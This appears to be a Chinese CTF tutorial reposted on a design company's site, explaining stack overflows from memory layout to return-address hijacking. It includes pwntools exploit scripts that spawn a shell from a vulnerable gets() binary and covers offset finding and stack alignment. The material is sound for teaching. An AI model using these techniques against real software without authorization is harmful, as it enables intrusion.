尧图网站设计 尧图网站设计YAOTU DESIGN
ARTICLE DETAIL

资讯详情

深耕网站设计与一线实操的经验洞察。

栈溢出入门:从内存布局到控制流劫持的完整解析

栈溢出入门:从内存布局到控制流劫持的完整解析 我玩pwn也有几年了带过不少新人入门发现大家卡住的第一道坎往往不是某个复杂的利用技巧而是对栈和内存的底层逻辑缺乏直观认识——不知道栈帧长什么样、不知道返回地址存在哪、不知道为什么覆盖几个字节就能劫持程序流。这篇就把二进制安全里最核心的栈与内存机制从头捋一遍配合实际可运行的pwn题目思路写给所有想真正入门pwn、搞懂栈溢出的朋友。1. 进程眼中的那一大片内存从代码段到栈的完整地图先别急着看栈。要理解栈必须先知道进程的整个内存布局长什么样。很多初学者学pwn一上来就盯着gdb里的地址看结果完全看不懂就是因为脑子里没有一张完整的内存地图。一个正在运行的进程操作系统会为它分配一块独立的虚拟地址空间。拿最常见的x86-64 Linux环境来说从低地址到高地址大致分为这么几块代码段.text存放编译后的机器指令就是程序做什么的部分。只读可执行比如你在ida里看到的main函数、system函数它们的指令都住在这里。只读数据段.rodata字符串常量等比如格式化字符串%s、/bin/sh这种字面量放在这里。数据段.data已初始化的全局变量、静态变量。BSS段.bss未初始化的全局变量和静态变量。程序加载时这块区域会被清零。堆heap程序运行时动态分配的内存区域由malloc、free管理从低地址向高地址增长。内存映射段mmap映射的文件、共享库比如libc.so会被加载到这个区域PIE开启时主程序本身也会被映射到这里。栈stack所有局部变量、函数调用的临时信息都在这从高地址向低地址向下增长。这里有个特别反直觉、也是初学者最容易糊涂的点栈是高地址往低地址长的而堆是低地址往高地址长的。两个区域相向而行中间隔着大片随机化的空隙还有一个叫vvar/vdso的内核映射区域通常不用管它。你可以用一个很土的办法感受自己程序的内存布局。写个简单的C程序打印几个关键变量的地址#include stdio.h #include stdlib.h int global_init 42; // 进 .data int global_uninit; // 进 .bss int main() { int local 10; // 进栈 char *heap_ptr malloc(16); // 指向堆 printf(code main: %p\n, main); printf(data global_init: %p\n, global_init); printf(bss global_uninit: %p\n, global_uninit); printf(heap heap_ptr: %p\n, heap_ptr); printf(stack local: %p\n, local); return 0; }编译运行后你会看到地址大致是这样的关系code的地址最小stack的地址最大heap在中间某个位置。这就是整个虚拟内存地图的骨架。用cat /proc/pid/maps能看到更细的划分包括每一段的具体读写权限。我在调试pwn题时几乎每道题都会看一眼这个maps文件因为利用方案很大程度上取决于哪些页是可写的、哪些是只读的、libc被加载到了哪个地址区间。2. 栈不是一片乱堆而是一套精密的机制很多人把栈理解成一块用来放变量的内存这个说法太粗糙了。栈的本质是一套由硬件和编译器共同维护的LIFO后进先出数据结构CPU专门用两个寄存器来管理它RSP栈指针和RBP帧指针也叫基址指针。2.1 RSP与RBP的分工RSP始终指向当前栈顶。push指令会让RSP减小因为栈向下增长pop指令会让RSP增大。RBP指向当前栈帧的底部其实是高地址端用来定位函数的参数和局部变量。这里先消除一个常见的误解很多人以为栈顶在上面栈底在下面。实际上从地址角度看完全相反栈底是高地址栈顶是低地址。每次压栈RSP的数值是变小的。你可以把栈想象成一摞往下叠的盘子——新来的盘子放在最下面取盘子也只能从最下面取比喻而已实际方向以寄存器加减为准。还有一个更贴切的类比向下的栈就像往一个从天花板垂下来的口袋里不断放东西每放一件口袋的开口就往下移一格先放进去的东西在最上面高地址。2.2 一次函数调用的完整过程要理解栈溢出你必须在脑子里能完整播放一遍调用一个函数时栈上发生了什么。以这段代码为例void func(int a, int b) { int x a b; } int main() { func(1, 2); return 0; }编译器不开优化会把函数调用翻译成大致如下的指令序列调用者caller准备参数在x86-64下前6个整型参数通过寄存器传递分别是RDI、RSI、RDX、RCX、R8、R9。所以func(1,2)会先把1放进edi把2放进esi。call指令这一步包含两个动作——先压栈返回地址也就是call的下一条指令的地址再跳转到目标函数入口。压栈后RSP会减小8字节。被调函数callee开场白编译器生成的函数序言prologue通常是push rbp ; 把调用者的rbp压栈保存 mov rbp, rsp ; 让rbp指向当前栈帧底部 sub rsp, 16 ; 为局部变量开辟空间函数主体通过[rbp-4]、[rbp-8]这样的偏移访问局部变量。函数结束epilogueleave ; 等价于 mov rsp, rbp; pop rbp ret ; 等价于 pop rip把返回地址弹到rip第5步是栈溢出利用的核心我单独拎出来说。2.3 栈帧到底长什么样在函数执行期间栈上的这一段区域叫栈帧stack frame。一个典型的栈帧从顶部低地址到底部高地址大概包含局部变量区编译器用sub rsp开辟的空间保存的旧RBP值8字节返回地址8字节调用者的局部变量区也就是说当你站在被调函数的视角看你的局部变量在低地址一侧你的返回地址在高地址一侧中间隔着保存的旧RBP。这个布局是所有栈溢出利用的基础。我见过不少人的误区是把返回地址理解成在局部变量下面或在栈的某个固定位置。实际上返回地址的位置取决于你函数序言里sub rsp划了多大空间。局部变量越多返回地址离你越远覆盖它需要填充的字节就越多。3. 栈溢出是怎么从越界写变成控制流劫持的有了上面的布局图栈溢出的原理就非常好理解了如果一个局部缓冲区没有做边界检查你可以向它写入超过它容量的数据这些数据会沿着栈地址递减的方向一路覆盖到保存的RBP、覆盖到返回地址。3.1 溢出偏移的计算逻辑假设我们有这样一个有漏洞的程序#include stdio.h #include string.h void vulnerable() { char buf[16]; gets(buf); // 危险函数不限制输入长度 printf(hello %s\n, buf); } int main() { vulnerable(); return 0; }变量buf在栈上的位置大致是rbp-0x1016字节也就是说buf[0]到buf[15]占16字节rbp-8处存的是旧RBP8字节rbp处是旧的RBP值rbp8处是返回地址所以要从buf覆盖到返回地址需要16字节填充缓冲区 8字节覆盖旧RBP 8字节覆盖返回地址一共24字节偏移。如果你发送的payload是A*24 p64(target_addr)那么ret执行时就会跳转到target_addr。这里有一个很容易犯的错误有人以为覆盖了保存的RBP就相当于覆盖了返回地址其实不是。保存的RBP只是在函数返回时才被pop出来真正决定程序跳转到哪里的是rbp8处的返回地址。3.2 为什么能跳转到任意地址当vulnerable()执行到leave指令时CPU会做mov rsp, rbp和pop rbp两个动作。如果返回地址已经被覆盖成system函数的地址执行ret时就会把假地址弹入RIPCPU直接从新地址取指令执行。这就是pwn圈常说的控制流劫持。本质上栈溢出利用做的一件事就是通过数据写坏栈上的控制流数据返回地址从而把程序的控制权转移到攻击者想去的方向。很多教科书会把这个过程写成跳转严格来说ret不是跳转指令它没有显式的目标地址参数而是从栈顶弹出目标地址。这正是栈溢出的精妙之处——你操控的不是一条jmp指令而是操控了栈上那个将要被ret读取的值。3.3 一个最低成本的利用ret2text如果是CTF入门或者真实环境中最简单的利用场景我们首先会找程序里有没有现成的后门函数比如这个void win() { system(/bin/sh); }只要程序里存在这种可以直接拿shell的现成函数也常叫backdoor而main里又存在栈溢出那利用基本就是填24字节垃圾然后盖上win地址这么简单。用pwntools写exp就是这样from pwn import * p process(./vuln) win_addr 0x401186 # 从ida或objdump里查到的win函数地址 payload bA * 24 p64(win_addr) p.sendline(payload) p.interactive()这种利用方式叫ret2text——返回到代码段已有的代码去执行。虽然简单但它是理解所有更高级栈利用ret2libc、ROP、栈迁移等的基石。3.4 为什么非要24字节而不是16字节初学者做类似题时最常问的问题是我算的偏移为什么和教程不一样这个问题的根源在于编译器版本不同同样的char buf[16]可能因为对齐、栈布局优化等因素导致实际偏移不同。开没开优化-O0、-O1、-O2会显著影响栈上局部变量的排布。不同架构x86 vs x64的栈对齐要求不同。所以真正手算偏移是不可靠的实操中我们会用cyclic模式来精确测偏移。pwntools提供了cyclic()和cyclic_find()先发送一长串无重复的pattern崩溃后gdb或core dump会告诉你RIP变成了哪个pattern片段直接cyclic_find即可算出偏移。这个习惯一定要从入门期就养成——不要靠猜和数要用工具量。4. 从零开始解一道入门pwn题的完整链路理论讲了一堆现在走一遍真正解一道pwn题的完整流程。这道题设定是典型的ret2text栈溢出我们按实际做题的顺序来。4.1 拿到题目先做什么第一步不是打开ida看反汇编而是先看保护。Linux下用checksecchecksec --file./vuln输出会告诉你保护项含义开启时的影响RELRO重定位表只读关闭时可能改GOT表开启则更难利用Stack Canary栈金丝雀开启时栈上有随机数覆盖前需先泄漏NX栈不可执行开启后不能在栈上执行shellcodePIE地址随机化开启后程序自身的加载地址每次启动会变这道题我们做一个常见组合RELRO部分开启、Canary关闭、NX开启、PIE关闭。这也是很多入门ret2text题的标准配置。4.2 用ida或objdump定位目标函数在ida里看main函数通常一眼就能看到gets或者read配合一个固定大小的缓冲区。找到win函数的地址比如0x401186。如果不想用idaobjdump -d vuln | grep win同样能拿到地址。4.3 用cyclic测偏移本地直接跑cyclic(100)生成100字节pattern发给程序程序崩溃。在gdb里看崩溃现场gdb ./vuln run pattern.txt或者更简单的方式直接跑gdb里的r然后输入pattern串看输出的RIP或RSP内容把其中沾到pattern的字节取出来cyclic_find(bvaaa)就能得到偏移。pwntools一步到位from pwn import * io process(./vuln) io.sendline(cyclic(200)) io.wait() core io.corefile offset cyclic_find(core.read(core.rip, 4)) log.success(foffset {offset})4.4 组装payload并打通拿到偏移后组装payload就非常简单了。但这里我强烈建议你在exp里加一步先本地连通再把process改成remote的习惯不要一上来就对着远程打。因为远程环境没有调试信息一旦失败很难排查。from pwn import * context.arch amd64 context.log_level debug io process(./vuln) win_addr 0x401186 payload bA * 24 p64(win_addr) io.sendline(payload) io.interactive()本地如果打通了再把process换成remote(1.2.3.4, 10001)即可。4.5 gdb动态验证眼见为实用gdb单步跟踪是理解栈溢出的最佳手段。在ret指令处下断点然后查看栈顶b *0x4011b6 # main里调用vulnerable后的ret或vulnerable末尾的ret run payload.txt x/20gx $rsp你会看到栈顶附近那一堆数据里返回地址已经被覆盖成了你要的地址。si单步执行ret后$rip会跳到win函数入口。如果你能看到这一步说明你对栈溢出的理解已经过关了。5. 内存视角的常见误区与调试经验写到这里我想把实操中新人最容易踩的坑集中说一下。有些坑如果不点出来可能会卡你几天。5.1 大小端不是玄学是数据存储的具体顺序x86-64是小端序多字节数据的低字节存放在低地址。当你用p64(0x401186)发送payload时实际字节序列是86 11 40 00 00 00 00 00假设地址为0x401186。这个顺序不能反反了就跳到一个错误地址。很多新人第一次写exp失败不是偏移错了而是用了p32或者p64用错架构或者地址里包含换行符导致gets提前截断。64位地址通常高两个字节是全零如0x0000000000401186这些零字节没法直接用gets发送因为gets遇换行才会停但零字节不会截断gets只是会被当成字符串数据存进去但如果是strcpy就会在零字节处截断。所以用gets的题目里要避开零字节地址如果目标地址带零字节就要考虑其他利用方式。5.2 你看到的地址为什么跟我看到的不一样很多教程里直接写死一个地址如0x0804845d你照抄却打不通。原因很可能是编译选项不同函数地址不同。开启了PIE后每次运行地址都随机变化需要先泄漏地址。入门题为了降低难度通常不开PIE但真实场景几乎都开。你用了不同的libc版本system函数地址自然不同。所以拿到任何题目第一件事就是确认保护情况不要拿别人的地址硬套。这也是为什么pwn的exp通常要写成pwntools脚本而不是一条固定命令——脚本可以动态解析地址、自动计算偏移。5.3 栈指针对齐问题一个很隐蔽的坑x86-64的System V ABI要求在调用一个函数时栈必须16字节对齐。有些版本的glibc对system的实现内部会用到movaps指令这个指令要求内存地址16字节对齐如果你直接跳到system栈没对齐程序会在system内部崩掉shell没弹出来。解决办法是在payload中多盖一个ret的地址找一个单独的ret指令所在地址让栈先错位一次再进入真正的目标函数ret_addr 0x40101a # 任意一条ret指令地址 payload bA * 24 p64(ret_addr) p64(win_addr)这叫栈对齐stack alignment。你如果遇到本地明明是标准ret2text却一执行就崩gdb里看跳转没问题但一进函数就crash先检查是不是这个问题。这是新手最不容易察觉的坑之一。5.4 用工具流代替纯手工我建议新手从一开始就养成工具优先手工验证的习惯checksec查看保护情况。ida / Ghidra静态分析代码定位溢出点和可利用函数。pwntools写exp、处理payload编码、与远程交互。gdb pwndbg或gef动态调试单步跟踪栈变化。one_gadget / ROPgadget需要时自动找gadget。不要觉得用工具是作弊。真正打CTF或者做漏洞研究的人没有人会手工数偏移大家都是一套工具链配合。关键是你要知道每个工具在干什么、输出代表什么意思。5.5 本地和远程的差异本地打通只是第一步。在CTF赛题和真实题目中远程环境经常和本地不同远程可能有白名单限制比如过滤某些字符。远程libc版本和本地不同ret2libc需要先泄漏libc地址再查偏移。远程启动方式可能是ncat而不是直接进程发送和接收可能有缓冲差异。所以exp写完后至少要检查payload里有没有换行以外的坏字符和远程交互时是否需要先接收提示信息远程有没有额外输出需要消费掉6. 下一步该往哪走栈溢出是整个pwn方向的地基把它吃透了后面很多东西都是在这个基础上的组合拳。给你一条比较顺的进阶路线理解调用约定熟悉System V AMD64的参数传递规则知道前6个参数走寄存器、其余走栈。ret2libc程序里没有现成的system时得靠泄漏libc地址找到system和/bin/sh。这一步会引入GOT表和PLT表的概念。ROP当目标函数地址凑不齐或者需要连续调用多个函数时就开始用gadget拼接调用链。Canary绕过栈金丝雀不是摆设常规思路是通过格式化字符串或off-by-null先泄漏它再在payload中保持它的原样。PIE绕过需要一个信息泄漏点来算出程序基址然后所有地址加上基址偏移。堆利用当栈这条路被保护焊死方向会转向堆上的malloc/free管理机制。作为过来人给你一个建议不要急着追高级利用技巧栈和内存的基本功不扎实后面学堆利用、学内核利用会非常痛苦。找几道经典的ret2text和ret2shellcode题目把偏移计算、payload构造、gdb调试这套流程练到条件反射你后续的学习速度会快很多。栈的机制本身并不神秘它就是一块后进先出的内存区域加上CPU用RSP/RBP两个寄存器严格管理着它的命运。当你真正理解了数据和控制流如何在这块内存上交互你就能理解为什么一个看似普通的gets能变成拿到shell的入口。找个题目容器实际打通一道题比读十篇文章都管用。
返回列表